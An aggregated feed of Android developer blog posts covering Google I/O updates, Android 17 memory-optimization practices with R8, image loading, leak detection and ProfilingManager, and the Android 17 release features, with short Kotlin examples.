11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     

And The Latest on Driving Business Growth 

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O 

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

]]> <![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]> https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ Sat, 25 Jul 2026 10:15:41 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

  1. Maximize bytecode optimization with R8
  2. Optimize image loading
  3. Detect and fix memory leaks with Android Studio
  4. Trim memory when app leaves visible state
  5. Advanced memory observability with ProfilingManager

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

  • Preventing cascading kills: When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.
  • Preserving multitasking and user state: When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.

To determine if your app session was impacted by these constraints in the field, you can call getDescription() within ApplicationExitInfo. If the system applied a limit, the exit reason is reported as REASON_OTHER and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.

We have also expanded our memory limits documentation to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. 

Maximize bytecode optimization with R8

A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. 

R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank Monzo enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.

The digital bank Monzo enabled full R8 optimization and boosted performance metrics by up to 35%.

To properly configure R8 in your build.gradle file:

  • Set isShrinkResources = true and isMinifyEnabled = true.
  • Use proguard-android-optimize.txt instead of the legacy proguard-android.txt, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.
  • Remove android.enableR8.fullMode = false from your gradle.properties.

If you are using reflection in your code base, then add Keep rules to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.

To get the maximum optimization, make sure to follow these best practices in your keep rule file.

  • Remove global options like -dontoptimize, -dontshrink, and -dontobfuscate that prevent R8 from optimizing the entire codebase 
  • Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.
  • Refine the broad package wide keep rules to target only specific classes or methods.

To see more best practices, view our keep rules documentation.

Library Developer R8 Best Practices

If you are a library developer, strictly place the rules your consumers need into your consumer-rules file, and keep your library's internal protection rules in your proguard-rules.pro file. For more information on how to optimize libraries, see Optimization for library authors.

R8 Configuration Analyzer

To audit your R8 optimization, use the Configuration Analyzer. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.

Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.

The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.

R8 Agent Skill 

You can also leverage the R8 Agent Skill with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. (Insights from AI-driven skills will require technical verification)

Optimize image loading

Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.

Google recommends leveraging image loading libraries Coil for Kotlin-first projects, particularly when developing with Jetpack Compose and Glide for Java-based applications.

Adopt these five best practices

  1. Downsample images: If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use inSampleSize to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using DownsampleStrategy and ImageLoader respectively.
  2. Cropping: Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize InsetDrawable or apply padding directly within the View or Composable containing the bitmap.
  3. Config: Balance memory and quality by choosing the right pixel format. Use RGB_565 when transparency isn't needed, which uses half the memory of the default ARGB_8888 format. In Glide you can configure this by using DecodeFormat and in Coil you can use bitmapConfig property.
  4. Prioritize vector drawables: For basic geometric assets, leverage ShapeDrawable as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.
  5. Reuse: If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call bitmap.recycle() and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.

Check out our documentation on Optimizing performance for images to learn more.

Android Studio tooling

You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:

  1. Open the Profiler tab in Android Studio
  2. Click Heap Dump (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.
  3. Scan the analysis results for the yellow warning triangle ⚠, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.
  4. Click on any flagged entry to open the Bitmap Preview pane, allowing you to see exactly which image is the repeat offender.
  5. Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.
Look for the yellow warning triangle ⚠ in heap dumps when using the Android Studio Profiler.

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

LeakCanary memory leak analysis contextualized with Go to declaration for debugging

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Examples of common memory leaks 

Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:

  • Retaining references to Fragments, Activities, or Views that are no longer in use.
  • Mismanaging Context references.
  • Failing to properly unregister observers, listeners, and receivers.
  • Creating static references to objects that are bound to components with shorter lifecycles.

Here are a few example scenarios:

Scenario

Compose-based example

View-based example

Leaking Context

Example:
Passing LocalContext.current to a ViewModel

Fix:
Keep Context dependent logic within the UI layer. For non-UI layers, refactor to use dependency injection or observe UI state using Kotlin flow.

Example:
Storing an Activity in a companion object or static variable.

Fix:
Don’t hold static references to UI components. Refactor to use dependency injection or observe UI state using Kotlin flow.

Leaking Listeners

Example:
Using DisposableEffect to start a listener but leaving onDispose empty.

Fix:
Perform the unregistration and cleanup logic inside the onDispose block.

Example:
Registering for SensorManager updates and forgetting to unregister.

Fix:
Manually call unregisterListener() in onStop() or onDestroy() lifecycle.

Leaking Views

Example:
Holding a reference to a legacy View inside an AndroidView without a release strategy.

Fix:
Use the release block of the AndroidView composable to clean up the legacy View.

Example:
Keeping a reference to a view binding object after the Fragment is destroyed.

Fix:
Set the binding variable to null inside the onDestroyView() lifecycle method.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

  • The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
  • The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.
  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Use the Heap Dump Explorer’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

]]> <![CDATA[Android 17 is here]]> https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/ Sat, 25 Jul 2026 10:15:36 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Matthew McCullough, VP of Product Management, Android Developer


Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.

Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the Android Open Source Project (AOSP). This allows you to examine the source code for a deeper understanding of how Android works.

Let's dive deeper into Android 17.

An intelligence system

With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the Model Context Protocol. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.

The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.

/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}

We’ve also launched an AppFunctions agent skill that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.

The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a test agent app that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at goo.gle/eap-af for a chance to be among the first apps to deploy AppFunctions to production.

Adaptive-first

Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over 580 million large screen devices in the hands of users and the forthcoming launch of Googlebooks, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an adaptive-first development standard.

No resizability/orientation restrictions on large screens

To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on large screen devices (sw > 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on app category in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.

Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP

Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:

  • App Bubbles: Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.
  • The Bubble Bar: On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.
  • Desktop interactive PiP: In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.

App Bubbles and Bubble Bar in action

Activity recreation updates

To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including CONFIG_KEYBOARD, CONFIG_KEYBOARD_HIDDEN, CONFIG_NAVIGATION, CONFIG_TOUCHSCREEN, and CONFIG_COLOR_MODE).
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new android:recreateOnConfigChanges manifest attribute.

Continue On

Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet


class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

  • Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
  • Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
  • FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
  • Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
  • Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

  • R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.




The R8 Configuration Analyzer
  • LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
  • ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
  • On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.
val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

  • System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
  • Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
  • System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
  • EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.
val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}










Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

  • Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
  • Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.


















Smarter password protection for physical inputs

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

  • Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
  • RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
  • Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
  • Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
